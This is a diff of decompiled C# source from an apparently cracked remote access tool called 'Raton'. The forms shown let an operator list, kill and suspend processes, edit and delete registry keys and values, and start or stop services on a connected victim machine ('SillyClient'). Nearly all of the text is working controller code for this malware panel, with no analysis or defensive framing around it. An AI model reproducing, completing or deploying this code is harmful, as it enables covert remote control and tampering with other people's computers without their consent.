this.contextMenuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.columnHeader1.Text = "Name";
|
||||
this.columnHeader1.Width = 177;
|
||||
this.columnHeader2.Text = "PID";
|
||||
this.columnHeader2.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader2.Width = 81;
|
||||
this.columnHeader3.Text = "Status";
|
||||
this.columnHeader3.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader3.Width = 119;
|
||||
this.columnHeader4.Text = "Process is";
|
||||
this.columnHeader4.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader4.Width = 214;
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[6]
|
||||
{
|
||||
(ToolStripItem) this.killProcessToolStripMenuItem,
|
||||
(ToolStripItem) this.pauseProcessToolStripMenuItem,
|
||||
(ToolStripItem) this.resumeProcessToolStripMenuItem,
|
||||
(ToolStripItem) this.toolStripSeparator1,
|
||||
(ToolStripItem) this.refreshProcessToolStripMenuItem,
|
||||
(ToolStripItem) this.processInformationToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(181, 120);
|
||||
this.killProcessToolStripMenuItem.Image = (Image) Resources.Copy_16x;
|
||||
this.killProcessToolStripMenuItem.Name = "killProcessToolStripMenuItem";
|
||||
this.killProcessToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.killProcessToolStripMenuItem.Text = "Kill process";
|
||||
this.killProcessToolStripMenuItem.Click += new EventHandler(this.killProcessToolStripMenuItem_Click);
|
||||
this.pauseProcessToolStripMenuItem.Image = (Image) Resources.Pause_grey_16x;
|
||||
this.pauseProcessToolStripMenuItem.Name = "pauseProcessToolStripMenuItem";
|
||||
this.pauseProcessToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.pauseProcessToolStripMenuItem.Text = "Pause process";
|
||||
this.pauseProcessToolStripMenuItem.Click += new EventHandler(this.pauseProcessToolStripMenuItem_Click);
|
||||
this.resumeProcessToolStripMenuItem.Image = (Image) Resources.ResumePhone_16x;
|
||||
this.resumeProcessToolStripMenuItem.Name = "resumeProcessToolStripMenuItem";
|
||||
this.resumeProcessToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.resumeProcessToolStripMenuItem.Text = "Resume process";
|
||||
this.resumeProcessToolStripMenuItem.Click += new EventHandler(this.resumeProcessToolStripMenuItem_Click);
|
||||
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
||||
this.toolStripSeparator1.Size = new Size(177, 6);
|
||||
this.refreshProcessToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.refreshProcessToolStripMenuItem.Name = "refreshProcessToolStripMenuItem";
|
||||
this.refreshProcessToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.refreshProcessToolStripMenuItem.Text = "Refresh list";
|
||||
this.refreshProcessToolStripMenuItem.Click += new EventHandler(this.refreshProcessToolStripMenuItem_Click);
|
||||
this.processInformationToolStripMenuItem.Image = (Image) Resources.InformationSymbol_16x1;
|
||||
this.processInformationToolStripMenuItem.Name = "processInformationToolStripMenuItem";
|
||||
this.processInformationToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.processInformationToolStripMenuItem.Text = "Process information";
|
||||
this.processInformationToolStripMenuItem.Click += new EventHandler(this.processInformationToolStripMenuItem_Click);
|
||||
this.imageList1.ColorDepth = ColorDepth.Depth32Bit;
|
||||
this.imageList1.ImageSize = new Size(20, 20);
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.timer2.Interval = 10000;
|
||||
this.timer2.Tick += new EventHandler(this.timer2_Tick);
|
||||
this.label1.BackColor = Color.Transparent;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(-3, 225);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(538, 125);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "Please wait...";
|
||||
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.aeroListView2.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView2.Columns.AddRange(new ColumnHeader[4]
|
||||
{
|
||||
this.columnHeader5,
|
||||
this.columnHeader6,
|
||||
this.columnHeader7,
|
||||
this.columnHeader8
|
||||
});
|
||||
this.aeroListView2.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.aeroListView2.Dock = DockStyle.Fill;
|
||||
this.aeroListView2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.aeroListView2.FullRowSelect = true;
|
||||
this.aeroListView2.HideSelection = false;
|
||||
this.aeroListView2.Location = new Point(0, 0);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView2.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView2.Name = "aeroListView2";
|
||||
this.aeroListView2.Size = new Size(535, 591);
|
||||
this.aeroListView2.SmallImageList = this.imageList1;
|
||||
this.aeroListView2.TabIndex = 3;
|
||||
this.aeroListView2.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView2.View = View.Details;
|
||||
this.aeroListView2.Visible = false;
|
||||
this.columnHeader5.Text = "Name";
|
||||
this.columnHeader5.Width = 209;
|
||||
this.columnHeader6.Text = "PID";
|
||||
this.columnHeader6.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader6.Width = 72;
|
||||
this.columnHeader7.Text = "State";
|
||||
this.columnHeader7.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader7.Width = 118;
|
||||
this.columnHeader8.Text = "Process is";
|
||||
this.columnHeader8.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader8.Width = 134;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(535, 591);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.aeroListView2);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonProcess);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonProcess);
|
||||
this.Load += new EventHandler(this.ratonProcess_Load);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,447 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonReg
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Microsoft.VisualBasic;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonReg : Form
|
||||
{
|
||||
private IContainer components;
|
||||
public TreeView treeView1;
|
||||
public DataGridView dataGridView1;
|
||||
private DataGridViewTextBoxColumn colName;
|
||||
private DataGridViewTextBoxColumn colType;
|
||||
private DataGridViewTextBoxColumn colData;
|
||||
private Timer timer1;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem newKeyToolStripMenuItem;
|
||||
private ToolStripMenuItem renameToolStripMenuItem;
|
||||
private ToolStripMenuItem deleteToolStripMenuItem;
|
||||
private ContextMenuStrip contextMenuStrip2;
|
||||
private ToolStripMenuItem modifyToolStripMenuItem;
|
||||
private ToolStripMenuItem renameToolStripMenuItem1;
|
||||
private ToolStripMenuItem refreshToolStripMenuItem;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public string Perms { get; set; }
|
||||
|
||||
public ratonReg()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
this.SetupTreeView();
|
||||
this.SetupGrid();
|
||||
this.treeView1.BeforeExpand += new TreeViewCancelEventHandler(this.TreeView1_BeforeExpand);
|
||||
}
|
||||
|
||||
private void ratonReg_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void SetupTreeView()
|
||||
{
|
||||
this.treeView1.PathSeparator = "\\";
|
||||
this.treeView1.BeforeExpand += new TreeViewCancelEventHandler(this.TreeView1_BeforeExpand);
|
||||
}
|
||||
|
||||
private void SetupGrid()
|
||||
{
|
||||
this.dataGridView1.Columns.Clear();
|
||||
this.dataGridView1.Rows.Clear();
|
||||
this.dataGridView1.AllowUserToAddRows = false;
|
||||
this.dataGridView1.ReadOnly = true;
|
||||
this.dataGridView1.SelectionMode = DataGridViewSelectionMode.FullRowSelect;
|
||||
this.dataGridView1.MultiSelect = false;
|
||||
this.dataGridView1.RowHeadersVisible = false;
|
||||
this.dataGridView1.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill;
|
||||
this.dataGridView1.Columns.Add("Name", "RegName");
|
||||
this.dataGridView1.Columns.Add("Type", "Type");
|
||||
this.dataGridView1.Columns.Add("Data", "Content");
|
||||
}
|
||||
|
||||
private void treeView1_AfterSelect(object sender, TreeViewEventArgs e)
|
||||
{
|
||||
string fullPath = this.GetFullPath(e.Node);
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RegistryRequest");
|
||||
pack.SetString("Action", "GetValues");
|
||||
pack.SetString("Path", fullPath);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void TreeView1_BeforeExpand(object sender, TreeViewCancelEventArgs e)
|
||||
{
|
||||
if (e.Node.Nodes.Count != 1 || !(e.Node.Nodes[0].Text == "Loading..."))
|
||||
return;
|
||||
string fullPath = this.GetFullPath(e.Node);
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RegistryRequest");
|
||||
pack.SetString("Action", "GetSubKeys");
|
||||
pack.SetString("Path", fullPath);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private string GetFullPath(TreeNode node)
|
||||
{
|
||||
string fullPath = node.Text;
|
||||
while (node.Parent != null)
|
||||
{
|
||||
node = node.Parent;
|
||||
fullPath = $"{node.Text}\\{fullPath}";
|
||||
}
|
||||
return fullPath;
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private async void newKeyToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Perms == "User")
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (this.treeView1.SelectedNode == null)
|
||||
return;
|
||||
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
|
||||
string str = Interaction.InputBox("Enter new key name:", "New Key", "NewKey");
|
||||
if (string.IsNullOrWhiteSpace(str))
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RegistryRequest");
|
||||
pack.SetString("Action", "NewKey");
|
||||
pack.SetString("Path", fullPath);
|
||||
pack.SetString("NewKeyName", str);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
await Task.Delay(1000);
|
||||
this.RequestSubKeysRefresh(this.treeView1.SelectedNode.Parent ?? this.treeView1.SelectedNode);
|
||||
}
|
||||
}
|
||||
|
||||
private void renameToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Perms == "User")
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (this.treeView1.SelectedNode == null)
|
||||
return;
|
||||
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
|
||||
string str = Interaction.InputBox("Enter new key name:", "Rename Key", this.treeView1.SelectedNode.Text);
|
||||
if (string.IsNullOrWhiteSpace(str))
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RegistryRequest");
|
||||
pack.SetString("Action", "RenameKey");
|
||||
pack.SetString("Path", fullPath);
|
||||
pack.SetString("NewKeyName", str);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.RequestSubKeysRefresh(this.treeView1.SelectedNode.Parent ?? this.treeView1.SelectedNode);
|
||||
}
|
||||
}
|
||||
|
||||
private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Perms == "User")
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (this.treeView1.SelectedNode == null)
|
||||
return;
|
||||
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
|
||||
if (Messenger.MessageBox("Are you sure you want to delete this key and all subkeys?", "Delete Key", MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation) != DialogResult.Yes)
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RegistryRequest");
|
||||
pack.SetString("Action", "DeleteKey");
|
||||
pack.SetString("Path", fullPath);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.RequestSubKeysRefresh(this.treeView1.SelectedNode.Parent ?? this.treeView1.SelectedNode);
|
||||
}
|
||||
}
|
||||
|
||||
private string GetSelectedNodePath(TreeNode node)
|
||||
{
|
||||
List<string> values = new List<string>();
|
||||
for (TreeNode treeNode = node; treeNode != null; treeNode = treeNode.Parent)
|
||||
values.Insert(0, treeNode.Text);
|
||||
return string.Join("\\", (IEnumerable<string>) values);
|
||||
}
|
||||
|
||||
private void modifyValueToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Perms == "User")
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (this.dataGridView1.SelectedRows.Count == 0)
|
||||
return;
|
||||
string str1 = this.dataGridView1.SelectedRows[0].Cells[0].Value.ToString();
|
||||
string str2 = this.dataGridView1.SelectedRows[0].Cells[1].Value.ToString();
|
||||
string DefaultResponse = this.dataGridView1.SelectedRows[0].Cells[2].Value.ToString();
|
||||
string str3 = Interaction.InputBox($"Modify value for {str1} ({str2}):", "Modify Value", DefaultResponse);
|
||||
if (string.IsNullOrEmpty(str3))
|
||||
return;
|
||||
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", "RegistryRequest");
|
||||
pack1.SetString("Action", "ModifyValue");
|
||||
pack1.SetString("Path", fullPath);
|
||||
pack1.SetString("Name", str1);
|
||||
pack1.SetString("NewValue", str3);
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
Pack pack2 = new Pack();
|
||||
pack2.SetString("Packet", "RegistryRequest");
|
||||
pack2.SetString("Action", "GetValues");
|
||||
pack2.SetString("Path", fullPath);
|
||||
this.SillyClient.Send(pack2.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
private void deleteValueToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Perms == "User")
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (this.dataGridView1.SelectedRows.Count == 0)
|
||||
return;
|
||||
string str = this.dataGridView1.SelectedRows[0].Cells[0].Value.ToString();
|
||||
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
|
||||
if (Messenger.MessageBox($"Are you sure you want to delete the value '{str}'?", "Delete Value", MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation) != DialogResult.Yes)
|
||||
return;
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", "RegistryRequest");
|
||||
pack1.SetString("Action", "DeleteValue");
|
||||
pack1.SetString("Path", fullPath);
|
||||
pack1.SetString("Name", str);
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
Pack pack2 = new Pack();
|
||||
pack2.SetString("Packet", "RegistryRequest");
|
||||
pack2.SetString("Action", "GetValues");
|
||||
pack2.SetString("Path", fullPath);
|
||||
this.SillyClient.Send(pack2.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
private void refreshValuesToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Perms == "User")
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (this.treeView1.SelectedNode == null)
|
||||
return;
|
||||
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RegistryRequest");
|
||||
pack.SetString("Action", "RefreshValues");
|
||||
pack.SetString("Path", fullPath);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
private void RefreshTreeNode(TreeNode node, List<string> subKeys)
|
||||
{
|
||||
if (node == null)
|
||||
return;
|
||||
node.Nodes.Clear();
|
||||
if (subKeys == null || subKeys.Count <= 0)
|
||||
return;
|
||||
foreach (string subKey in subKeys)
|
||||
node.Nodes.Add(new TreeNode(subKey)
|
||||
{
|
||||
Nodes = {
|
||||
"Loading..."
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private TreeNode FindTreeNodeByPath(string path)
|
||||
{
|
||||
string[] strArray = path.Split('\\');
|
||||
TreeNodeCollection nodes = this.treeView1.Nodes;
|
||||
TreeNode treeNodeByPath = (TreeNode) null;
|
||||
foreach (string str in strArray)
|
||||
{
|
||||
bool flag = false;
|
||||
foreach (TreeNode treeNode in nodes)
|
||||
{
|
||||
if (treeNode.Text == str)
|
||||
{
|
||||
treeNodeByPath = treeNode;
|
||||
nodes = treeNode.Nodes;
|
||||
flag = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!flag)
|
||||
return (TreeNode) null;
|
||||
}
|
||||
return treeNodeByPath;
|
||||
}
|
||||
|
||||
private void RequestSubKeysRefresh(TreeNode node)
|
||||
{
|
||||
if (node == null)
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RegistryRequest");
|
||||
pack.SetString("Action", "GetSubKeys");
|
||||
pack.SetString("Path", this.GetFullPath(node));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
public void OnReceivedSubKeys(string path, List<string> subKeys)
|
||||
{
|
||||
TreeNode treeNodeByPath = this.FindTreeNodeByPath(path);
|
||||
if (treeNodeByPath == null)
|
||||
return;
|
||||
this.RefreshTreeNode(treeNodeByPath, subKeys);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonReg));
|
||||
this.treeView1 = new TreeView();
|
||||
this.dataGridView1 = new DataGridView();
|
||||
this.colName = new DataGridViewTextBoxColumn();
|
||||
this.colType = new DataGridViewTextBoxColumn();
|
||||
this.colData = new DataGridViewTextBoxColumn();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.contextMenuStrip2 = new ContextMenuStrip(this.components);
|
||||
this.renameToolStripMenuItem1 = new ToolStripMenuItem();
|
||||
this.refreshToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.modifyToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.newKeyToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.renameToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.deleteToolStripMenuItem = new ToolStripMenuItem();
|
||||
((ISupportInitialize) this.dataGridView1).BeginInit();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.contextMenuStrip2.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.treeView1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.treeView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.treeView1.Location = new Point(14, 14);
|
||||
this.treeView1.Name = "treeView1";
|
||||
this.treeView1.Size = new Size(171, 524);
|
||||
this.treeView1.TabIndex = 0;
|
||||
this.treeView1.AfterSelect += new TreeViewEventHandler(this.treeView1_AfterSelect);
|
||||
this.dataGridView1.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize;
|
||||
this.dataGridView1.Columns.AddRange((DataGridViewColumn) this.colName, (DataGridViewColumn) this.colType, (DataGridViewColumn) this.colData);
|
||||
this.dataGridView1.ContextMenuStrip = this.contextMenuStrip2;
|
||||
this.dataGridView1.Location = new Point(192 /*0xC0*/, 14);
|
||||
this.dataGridView1.Name = "dataGridView1";
|
||||
this.dataGridView1.Size = new Size(697, 525);
|
||||
this.dataGridView1.TabIndex = 1;
|
||||
this.colName.HeaderText = "Name";
|
||||
this.colName.Name = "colName";
|
||||
this.colType.HeaderText = "Type";
|
||||
this.colType.Name = "colType";
|
||||
this.colData.HeaderText = "Data";
|
||||
this.colData.Name = "colData";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[3]
|
||||
{
|
||||
(ToolStripItem) this.newKeyToolStripMenuItem,
|
||||
(ToolStripItem) this.renameToolStripMenuItem,
|
||||
(ToolStripItem) this.deleteToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(120, 70);
|
||||
this.contextMenuStrip2.Items.AddRange(new ToolStripItem[3]
|
||||
{
|
||||
(ToolStripItem) this.modifyToolStripMenuItem,
|
||||
(ToolStripItem) this.renameToolStripMenuItem1,
|
||||
(ToolStripItem) this.refreshToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip2.Name = "contextMenuStrip2";
|
||||
this.contextMenuStrip2.Size = new Size(114, 70);
|
||||
this.renameToolStripMenuItem1.Image = (Image) Resources.DeleteAllRows_16x;
|
||||
this.renameToolStripMenuItem1.Name = "renameToolStripMenuItem1";
|
||||
this.renameToolStripMenuItem1.Size = new Size(113, 22);
|
||||
this.renameToolStripMenuItem1.Text = "Delete";
|
||||
this.renameToolStripMenuItem1.Click += new EventHandler(this.deleteValueToolStripMenuItem_Click);
|
||||
this.refreshToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
|
||||
this.refreshToolStripMenuItem.Size = new Size(113, 22);
|
||||
this.refreshToolStripMenuItem.Text = "Refresh";
|
||||
this.refreshToolStripMenuItem.Click += new EventHandler(this.refreshValuesToolStripMenuItem_Click);
|
||||
this.modifyToolStripMenuItem.Image = (Image) Resources.ModifyEvent_16x;
|
||||
this.modifyToolStripMenuItem.Name = "modifyToolStripMenuItem";
|
||||
this.modifyToolStripMenuItem.Size = new Size(113, 22);
|
||||
this.modifyToolStripMenuItem.Text = "Modify";
|
||||
this.modifyToolStripMenuItem.Click += new EventHandler(this.modifyValueToolStripMenuItem_Click);
|
||||
this.newKeyToolStripMenuItem.Image = (Image) Resources.QueryFolder_16x;
|
||||
this.newKeyToolStripMenuItem.Name = "newKeyToolStripMenuItem";
|
||||
this.newKeyToolStripMenuItem.Size = new Size(119, 22);
|
||||
this.newKeyToolStripMenuItem.Text = "New key";
|
||||
this.newKeyToolStripMenuItem.Click += new EventHandler(this.newKeyToolStripMenuItem_Click);
|
||||
this.renameToolStripMenuItem.Image = (Image) Resources.Rename_16x1;
|
||||
this.renameToolStripMenuItem.Name = "renameToolStripMenuItem";
|
||||
this.renameToolStripMenuItem.Size = new Size(119, 22);
|
||||
this.renameToolStripMenuItem.Text = "Rename";
|
||||
this.renameToolStripMenuItem.Click += new EventHandler(this.renameToolStripMenuItem_Click);
|
||||
this.deleteToolStripMenuItem.Image = (Image) Resources.DeleteAllRows_16x;
|
||||
this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem";
|
||||
this.deleteToolStripMenuItem.Size = new Size(119, 22);
|
||||
this.deleteToolStripMenuItem.Text = "Delete";
|
||||
this.deleteToolStripMenuItem.Click += new EventHandler(this.deleteToolStripMenuItem_Click);
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(903, 553);
|
||||
this.Controls.Add((Control) this.dataGridView1);
|
||||
this.Controls.Add((Control) this.treeView1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonReg);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonReg);
|
||||
this.Load += new EventHandler(this.ratonReg_Load);
|
||||
((ISupportInitialize) this.dataGridView1).EndInit();
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.contextMenuStrip2.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,230 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonServices
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonServices : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private Timer timer1;
|
||||
private ColumnHeader columnHeader1;
|
||||
private ColumnHeader columnHeader2;
|
||||
private ColumnHeader columnHeader3;
|
||||
private ColumnHeader columnHeader4;
|
||||
public AeroListView aeroListView1;
|
||||
public Label label1;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem startToolStripMenuItem;
|
||||
private ToolStripMenuItem stopToolStripMenuItem;
|
||||
private ToolStripMenuItem restartToolStripMenuItem;
|
||||
private ToolStripMenuItem refreshToolStripMenuItem;
|
||||
private ImageList imageList1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonServices()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void ratonServices_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.timer1.Start();
|
||||
this.SendList();
|
||||
}
|
||||
|
||||
private string GetSelectedService()
|
||||
{
|
||||
if (this.aeroListView1.SelectedItems.Count == 0)
|
||||
return (string) null;
|
||||
return this.aeroListView1.SelectedItems[0].Tag?.ToString();
|
||||
}
|
||||
|
||||
private void SendList()
|
||||
{
|
||||
if (this.SillyClient == null)
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Services");
|
||||
pack.SetString("Command", "List");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void SendAction(string command, string serviceName)
|
||||
{
|
||||
if (this.SillyClient == null || string.IsNullOrEmpty(serviceName))
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Services");
|
||||
pack.SetString("Command", command);
|
||||
pack.SetString("Name", serviceName);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void startToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string selectedService = this.GetSelectedService();
|
||||
if (selectedService == null)
|
||||
return;
|
||||
this.SendAction("Start", selectedService);
|
||||
}
|
||||
|
||||
private void stopToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string selectedService = this.GetSelectedService();
|
||||
if (selectedService == null)
|
||||
return;
|
||||
this.SendAction("Stop", selectedService);
|
||||
}
|
||||
|
||||
private void restartToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string selectedService = this.GetSelectedService();
|
||||
if (selectedService == null)
|
||||
return;
|
||||
this.SendAction("Restart", selectedService);
|
||||
}
|
||||
|
||||
